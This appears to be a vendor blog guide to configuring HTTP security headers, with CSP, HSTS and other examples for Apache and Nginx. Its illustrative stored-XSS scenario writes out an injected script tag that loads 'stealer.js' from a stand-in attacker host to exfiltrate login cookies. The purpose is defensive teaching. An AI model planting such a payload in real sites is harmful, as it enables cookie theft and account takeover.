Security Headers Are Your First Line of Defense
Most web application security focuses on server-side code: SQL injection, authentication, input validation. But the browser itself has a built-in security toolkit that most sites never use. HTTP security headers tell the browser to enforce restrictions that stop XSS, clickjacking, MIME sniffing attacks, and man-in-the-middle downgrades before any JavaScript even runs.
A correctly configured set of security headers can block entire classes of attacks. Misconfigured headers break your site. No headers at all leave every door open. This guide covers the seven headers that matter in 2026, how to set them, and how to test them.
Content-Security-Policy (CSP): The Most Powerful and Most Dangerous
CSP is a whitelist of what your page is allowed to load and execute. A strong CSP blocks inline scripts, restricts script sources to your own domain, and prevents data exfiltration to unknown endpoints. It is also the easiest header to get wrong.
CSP Directives That Matter
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-random123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
form-action 'self';
base-uri 'self';
object-src 'none'
default-src 'self' is the starting point — it blocks everything except resources from your own origin. Then you punch holes: script-src 'self' allows your own JavaScript. style-src 'unsafe-inline' is a compromise most sites make because CSS frameworks inject inline styles. frame-ancestors 'none' replaces X-Frame-Options with a stronger CSP directive.
The 'nonce-' value is a cryptographic random string that must match between the header and every <script> tag. This allows specific inline scripts while blocking injected ones.
Warning: Never use script-src 'unsafe-inline' — that completely defeats XSS protection. If you must allow inline scripts, use nonces or hashes.
Testing CSP Before Enforcement
# Report-only mode — logs violations without blocking
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
Run in report-only mode for at least a week. Collect violation reports. Fix everything that violates your policy. Then flip to enforcing mode. Skipping this step causes broken pages and angry users.
Strict-Transport-Security (HSTS): No More HTTP
HSTS tells the browser: "never talk to this domain over HTTP again." Once a browser sees the header, it refuses HTTP connections for the specified duration.
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
max-age=63072000 is two years in seconds — the recommended minimum. includeSubDomains covers every subdomain. preload submits your domain to the browser HSTS preload list, hardcoded into Chrome and Firefox. Once preloaded, even the first visit uses HTTPS.
Check your SSL configuration with the OpsCheck SSL Certificate Checker before enabling HSTS. If your certificate has chain issues, HSTS will lock users out with no override.
X-Frame-Options: Clickjacking Defense
Clickjacking tricks users into clicking on something they cannot see — usually by loading your site in an invisible iframe overlaid on a decoy page. X-Frame-Options stops this:
# Block all framing
X-Frame-Options: DENY
# Allow framing from same origin only
X-Frame-Options: SAMEORIGIN
# Allow framing from a specific domain
X-Frame-Options: ALLOW-FROM https://trusted-partner.com
DENY is the safest choice for most sites. If you need to be iframed (embedded widgets, payment forms), use SAMEORIGIN. The ALLOW-FROM directive is deprecated in most browsers in favor of CSP's frame-ancestors — use CSP if you need cross-origin framing.
X-Content-Type-Options: Stop MIME Sniffing
Browsers try to be helpful by guessing file types. If you serve a file as text/plain but it looks like HTML, the browser might render it as HTML. Attackers exploit this by uploading files with malicious content and a misleading Content-Type:
X-Content-Type-Options: nosniff
One value, one line, zero configuration. This header has no downsides. Every web server should set it.
Referrer-Policy: Control Referrer Leakage
When a user clicks a link from your site, the browser sends a Referer header to the destination. This can leak sensitive URLs, session tokens in query strings, and internal paths:
# Best practice: send origin only on cross-origin, full URL on same-origin
Referrer-Policy: strict-origin-when-cross-origin
# Send nothing
Referrer-Policy: no-referrer
# Send full URL always (leaks data)
Referrer-Policy: unsafe-url
strict-origin-when-cross-origin is the modern default and the right answer for most sites. It sends https://yoursite.com (not the full path) to external sites, and full URLs to your own pages for analytics.
Permissions-Policy: Kill Old APIs
Permissons-Policy (formerly Feature-Policy) controls which browser features your site and embedded iframes can use:
Permissions-Policy:
camera=(),
microphone=(),
geolocation=(self),
payment=(self),
usb=()
camera=() means "block camera access for everyone, including us." geolocation=(self) allows it for your own origin only, not for third-party iframes. This is how you prevent a compromised ad network iframe from accessing the user's location or microphone.
Cross-Origin-* Headers: Restrict Resource Sharing
Cross-Origin-Opener-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Resource-Policy: same-origin
These three headers together enable cross-origin isolation, required for SharedArrayBuffer and high-resolution timers. COOP: same-origin prevents other origins from opening your window and interacting with it. CORP: same-origin prevents other origins from loading your resources.
Verifying Your Headers
Use the OpsCheck HTTP Headers Checker to see exactly what headers your server sends. It shows every response header and flags missing security headers.
# CLI check with curl
curl -I -s https://example.com | grep -iE 'content-security|strict-transport|x-frame|x-content|referrer-policy|permissions-policy|cross-origin'
# SecurityHeaders.com-style scan with all headers
curl -sI https://example.com
Real Scenario: CSP Blocks the Payload
A WordPress site running an outdated plugin was hit by a stored XSS attack. The attacker injected a <script src="https://evil-cdn.com/stealer.js"> tag into a comment that rendered on every page. The site loaded the script and began exfiltrating login cookies to the attacker's server.
With CSP script-src 'self' in place, the browser would have refused to load evil-cdn.com. The XSS would have been completely blocked — the injected tag would appear in the DOM, but the browser would not execute or load the external script. The underlying vulnerability (missing input sanitization) would still need fixing, but the attack would have zero impact.
Minimum Viable Security Header Set
# Apache
Header always set X-Content-Type-Options "nosniff"
Header always set X-Frame-Options "DENY"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains"
Header always set Content-Security-Policy "default-src 'self'; frame-ancestors 'none'; form-action 'self'"
# Nginx
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=63072000; includeSubDomains" always;
add_header Content-Security-Policy "default-src 'self'; frame-ancestors 'none'; form-action 'self'" always;
These five headers block clickjacking, MIME sniffing, referrer leakage, protocol downgrade, and most XSS payloads. Set them on every response. Verify with OpsCheck HTTP Headers Checker and SSL Certificate Checker for a complete security posture.
Common Mistakes That Break Security Headers
Setting headers only on the main page. Security headers must be on every HTTP response — HTML pages, API endpoints, images, CSS files. A common mistake is configuring headers only on the document root while leaving static assets unprotected. An attacker can frame your /images/logo.png in a clickjacking attack if that URL does not send X-Frame-Options.
Setting CSP without testing. Deploying CSP to production without a report-only phase is asking for a rollback. Even a single missing directive can break font loading, WebSocket connections, or third-party analytics. Run Content-Security-Policy-Report-Only for at least a week and monitor the violation reports. Collect every endpoint your app calls and add them to the whitelist before switching to enforcing mode.
Forgetting redirects. If your HTTP-to-HTTPS redirect does not include HSTS, users hitting the HTTP URL first are vulnerable to SSL stripping on that initial request. The redirect must send Strict-Transport-Security even on the 301 response. Better yet, submit your domain to the HSTS preload list so browsers never attempt HTTP in the first place.
Overly permissive CSP. A CSP with default-src * is worse than no CSP at all — it gives a false sense of security while allowing everything. Start with default-src 'self' and open only what you need. Each https: or * you add expands the attack surface.